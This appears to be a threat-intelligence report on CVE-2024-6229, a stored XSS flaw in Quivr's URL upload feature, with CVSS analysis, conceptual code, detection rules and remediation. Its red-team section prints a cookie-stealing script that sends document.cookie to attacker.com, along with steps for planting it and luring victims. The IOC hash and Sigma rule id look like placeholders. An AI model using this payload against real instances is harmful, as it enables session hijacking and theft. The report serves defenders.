CVE-2024-6229

Executive Summary

CVE-2024-6229 is a stored cross-site scripting (XSS) vulnerability in the 'Upload Knowledge' feature of stangirard/quivr, affecting the latest version. The vulnerability allows authenticated users to upload files via URL, which can contain malicious JavaScript payloads. These payloads are stored on the server and executed whenever any user clicks on a link containing the payload, leading to potential data theft, session hijacking, and reputation damage. The CVSS score is 6.8 (Medium), and no official patch has been released as of the latest analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs low-level privileges (e.g., a standard user account).
• User Interaction (UI): Required (R) – The victim must click on a crafted link.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but it can lead to session hijacking and data theft.

Deep Dive & Mechanics

The vulnerability resides in the 'Upload Knowledge' feature of Quivr, a knowledge management application. When a user uploads a file via URL, the application does not properly sanitize the file content or the metadata. An attacker can craft a malicious file (e.g., an HTML file or a PDF with embedded JavaScript) that, when uploaded, stores the payload on the server. When another user clicks on a link to that uploaded file, the payload executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in with low-privileged credentials.
2. Attacker uses the 'Upload Knowledge' feature to upload a file via URL. The file contains a malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
3. The file is stored on the server without sanitization.
4. Attacker crafts a link to the uploaded file and distributes it (e.g., via phishing or social engineering).
5. Victim clicks the link, and the payload executes, stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for uploaded file content and metadata.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable upload handler
def upload_knowledge(request):
    file_url = request.POST.get('file_url')
    # No validation or sanitization
    file_content = download_file(file_url)
    save_to_database(file_content)
    return render(request, 'success.html', {'file_url': file_url})

Patched Code (Conceptual):

# Patched upload handler
import bleach
def upload_knowledge(request):
    file_url = request.POST.get('file_url')
    # Validate URL
    if not is_valid_url(file_url):
        return error_response('Invalid URL')
    file_content = download_file(file_url)
    # Sanitize content
    sanitized_content = bleach.clean(file_content, tags=[], strip=True)
    save_to_database(sanitized_content)
    # Encode output
    return render(request, 'success.html', {'file_url': escape(file_url)})

Key Differences:

• Input validation: The patched version validates the URL.
• Output encoding: The patched version escapes the file URL in the response.
• Content sanitization: The patched version uses a library like bleach to strip malicious content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Quivr (latest version).
• Low-privileged user credentials.
• A web server to host the malicious file (or use a data: URI).

Exploit Steps:

1. Create a malicious HTML file with a JavaScript payload:

   <html>
   <body>
   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

2. Host the file on a public server (e.g., http://attacker.com/malicious.html).
3. Log in to Quivr as a low-privileged user.
4. Navigate to the 'Upload Knowledge' feature and use the URL upload option.
5. Enter the URL of the malicious file and submit.
6. Note the generated link to the uploaded file (e.g., http://quivr-instance.com/knowledge/123).
7. Distribute this link to a victim (e.g., via email or chat).
8. When the victim clicks the link, the payload executes, and the cookie is sent to the attacker's server.

Expected Outcome: The attacker receives the victim's session cookie, allowing session hijacking.

Blue Team

Detection Steps:

1. Monitor for unusual file uploads via URL, especially from untrusted domains.
2. Inspect uploaded files for JavaScript or HTML content.
3. Use web application firewalls (WAF) to block known XSS payloads.
4. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
5. Review server logs for suspicious file access patterns.

Lab Setup:

• Deploy a vulnerable Quivr instance in an isolated environment.
• Use a tool like Burp Suite to intercept and modify upload requests.
• Simulate the attack and verify detection rules.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious file)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • Suspicious URLs containing knowledge/ followed by numeric IDs.
• Log Entries:
  • Repeated upload attempts from the same user.
  • Uploads from URLs with suspicious extensions (e.g., .html, .svg).
• File System:
  • Files with unexpected content types (e.g., text/html instead of application/pdf).

Detection Engineering

YARA Rule

rule CVE_2024_6229_Stored_XSS {
    meta:
        description = "Detects malicious files uploaded via Quivr's Upload Knowledge feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6229"
    strings:
        $xss_payload = /<script[\s>].*?<\/script>/is
        $html_tag = /<html[\s>]/is
        $onerror = /onerror\s*=/is
        $onload = /onload\s*=/is
    condition:
        any of ($xss_payload, $html_tag, $onerror, $onload)
}

Sigma Rule

title: CVE-2024-6229 Stored XSS via Upload Knowledge
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads via URL in Quivr that may contain XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: quivr
detection:
    selection:
        http.method: POST
        http.url: '/upload/knowledge'
        http.body: 'file_url=*'
    condition: selection
falsepositives:
    - Legitimate file uploads from trusted sources
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6229 Stored XSS via Upload Knowledge"; flow:to_server,established; content:"POST"; http_method; content:"/upload/knowledge"; http_uri; content:"file_url="; http_client_body; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the 'Upload Knowledge' feature if not essential.
2. Implement input validation for uploaded file URLs (allow only trusted domains).
3. Sanitize all uploaded file content using a library like bleach or DOMPurify.
4. Encode all output when displaying file links or content.

Long-term Fixes:

1. Apply the official patch when released by the vendor.
2. Conduct a security audit of the application's file handling logic.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Use a web application firewall (WAF) to block XSS payloads.

Workarounds:

• Restrict file uploads to authenticated users only.
• Limit file types to safe formats (e.g., PDF, images) and validate MIME types.
• Use a sandboxed environment for file processing.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.